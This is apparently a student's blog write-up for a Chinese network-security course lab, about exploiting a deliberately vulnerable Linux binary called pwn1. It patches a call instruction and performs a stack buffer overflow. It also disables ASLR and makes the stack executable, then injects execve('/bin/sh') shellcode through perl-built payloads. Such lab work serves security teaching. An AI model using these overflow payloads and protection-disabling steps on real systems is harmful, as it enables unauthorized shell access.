2019-2020-2 20175208张家华 《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 《网络对抗技术》 Exp1 PC平台逆向破解

实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。其中包含一段正常情况不被运行的代码片段,实验目标就是想办法运行这段代码。

三个实践内容如下

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

实验准备

  • 基本知识

  • linux基本操作

    • 管道( | ):用于数据注入文件
      • 管道是一种最基本的IPC机制,作用于有血缘关系的进程之间,完成数据传递。
      • 由两个文件描述符引用,一个表示读端,一个表示写端。
      • 规定数据从管道的写端流入管道,从读端流出。
    • 输入、输出重定向( > >> < )
      • >:以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。
      • >>:以追加方式重定向到文件设备中。
      • <:把文件作为命令的输入,例如wc命令时统计行,单词书和字符的。
  • NOP、JNE、JE、JMP、CMP汇编指令的机器码

    • NOP:90(NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。)
    • JNE:75(条件转移指令,如果不相等则跳转。)
    • JE:74(条件转移指令,如果相等则跳转。)
    • CMP:38~3D(比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。)
  • 相关指令、参数

    • 反汇编指令
      • objdump -d <file(s)>: 将代码段反汇编;
      • objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
      • objdump -l <file(s)>: 反汇编代码中插入文件名和行号
    • 十六进制编程器:
      • vim <filename> 以ASCII码形式显示可执行文件的内容
      • :%!xxd 切换显示模式(16进制模式、ASCII码模式)
    • gdb的常用命令
      • break(b):设置断点
      • run(r):运行程序
      • clear:清除断点
      • info:显示断点信息
      • attach:继续执行程序

基础问题回答:

什么是漏洞?漏洞有什么危害?

  • 我觉得漏洞就是大家平常都会忽略但是同时又是攻击者可以用来破坏计算机的途径,对计算机有着很大的危害,在应用电脑时,有很大的危机。
  • 存在漏洞可能会导致我们的计算机数据丢失和篡改,被黑客注入病毒监控,从而导致机密泄露,无法正常工作学习等;也可能会被有心人利用数据交易、威胁用户、泄露隐私等造成经济损失,甚至精神损失。
  • 实验代码准备

  • 实验前需准备好文件pwn1,通过共享文件夹导入虚拟机,并做好备份处理命名为pwn1.bak

实验内容步骤

任务一:手工修改可执行文件,改变程序执行流程

  • 首先需要对可执行文件进行分析,观察想要达到目的需要修改哪一段机器码
  • 通过命令objdump -d pwn1 | more对目标文件进行反汇编

 

 

 

 

 

 

  • 反汇编汇编结果如下:
    • 主函数的起始位置为:0x080484af、foo函数的起始位置为0x08048491、getshell代码段的起始位置为:0x0804847d、且主函数中调用函数的指令call 8048491 <foo>后的地址为:0x080484ba
    • 而此地址与foo函数的起始地址差0x080484ba - 0x08048491 = 0xffffffd7与该指令对应机器码e8 d7 ff ff ff对应。
    • 所以,要让程序执行到getShell只需更改call指令的机器码为相应地址的差,地址差为0x080484ba - 0x0804847d = 0xffffffc3
  • 确修改机器指令:
    • 输入指令vi pwn1 打开文件。因为其是以ASCII码显示,所以我们需要通过指令:%!xxd 将文件转换为16进制查看

 

 

 

 

 

 

  • 找到d7ffffff 位置,将d7修改为c3,并输入:%!xxd 将文件转化为,保存并退出

此处在保存退出前一定要记得先转换成ASCII码形式,否则之后反编译检查时会无法正常进行

  • 测试实验结果
    • 通过对修改文件再次进行反编译,来观察机器指令是否和要求相匹配
    • 运行之前备份的pwn1.bak文件和pwn1文件看两者的运行模式

 

 

 

 

 

 

任务二:利用foo函数的Bof漏洞,覆盖返回地址,触发getShell函数

  • 将pwn1 文件通过备用文件还原cp pwn1.bak pwn1
  • 首先还是需要通过反汇编指令观察foo函数为其输入留了多少空间,通过图示可以计算实现缓冲区溢出的字符数为28+4=32 个字节,因此需要将getShell函数的地址放在返回地址即需要33~36字节。

 

 

 

  • 验证猜想的同时确定我们输入什么样的字符能进行攻击
    • gdb调试:我们在输入时特意输入36字节长度的字符,同时需info r指令查看寄存器的状态
    • 我们在得到Segmentation fault后,通过对比eip寄存器和我们输入的字符就可以知道我们需要在何处对输入字符替换

 

 

 

 

 

  • 进行输入,并验证结果
    • 通过老师的实验视频我们得到输入指令如下:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input同时需要的话我们可以通过xxd来验证我们的字符串是否如我们的预期
    • 通过管道符,即老师视频提供的命令输入(cat input; cat ) | ./pwn1 将构造的输入注入并运行,得出预期结果

 

 

 

 

 

 

任务三:注入一个shellcode并运行

  • 同任务二将pwn1 文件通过备用文件还原
  • 具体构造方法都可以从老师提供的视频中了解到,同时还需对文件pwn1进行处理以进行接下来的步骤:
    • 设置设置堆栈可执行
      • execstack -s pwn1 设置堆栈可执行
      • execstack -q pwn1 查询文件的堆栈是否可执行,结果为X表示可执行
      • #####未安装需安装execstack
    • 关闭地址随机化(注意权限)
      • echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
      • more /proc/sys/kernel/randomize_va_space 结果为0证明已关闭
  • 构造payload
  • 大致同任务二,通过参考视频我们提供构造命令如下:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 

 

 

  • 原终端(cat input_shellcode;cat) | ./pwn1运行代码,另起一个终端进行gdb调试以找到注入位置
  • disassemble foo 进行反编译,可以看到ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae,之前需要进行进程号查询,已更好确定位置

 

 

 

 

 

 

 

 

 

  • 在a终端中按下回车运行,程序执行到断点停止,再在b终端输入c继续运行程序,info r esp查看esp寄存器地址,x/16x 0xffffd310以16进制形式查看0xffffd29c地址后面16字节的内容
  • 可以观察到0x01020304的地址为0xffffd310,因此shellcode注入位置(可以使最先出现0x90的位置)地址为0xffffd310+0x00000004=0xffffd314

 

 

 

 

 

 

  • 最终注入
    • 重新定义 input_shellcode
    perl -e 'print "A" x 32;print"\xa0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    • 输入命令(cat input_shellcode;cat) | ./pwn1 验证结果是否成功

       

       

实验总结:

实验过程中出现的问题:

1.共享文档建立后,在虚拟机里找不到或无法显示:

解决方法:

第一步:安装Vmware-Tools:在root里输入

apt-get install open-vm-tools-desktop fuse

 

第二步:创建共享文件夹(如果在设置中设置完毕了,就输入已经建立的,不用重新建立了)

/usr/bin/vmhgfs-fuse .host:/ /mnt/hgfs/manjaro_share/ -o subtype=vmhgfs-fuse,allow_other

 详情请见:https://blog.csdn.net/Kevinhanser/article/details/79451108

2.共享文档建立后,在虚拟机里无法显示文档内容:

解决方法:挂载共享文件夹,在终端中输入命令:

/usr/bin/vmhgfs-fuse .host:/manjaro_share  /mnt/hgfs/manjaro_share  -o subtype=vmhgfs-fuse,allow_other

 详情请见:https://blog.csdn.net/jun2016425/article/details/102542082

 

实验收获与感想

  • 我认为,此次试验中巩固了自己对linux的学习,更好的掌握了linux里的一些应用、操作。
  • 通过本次试验,发现自己对linux的掌握不是很熟练,对gdb调试掌握的还是很生疏。

 

posted @ 2020-03-07 17:25  20175208-张家华  阅读(126)  评论(0编辑  收藏  举报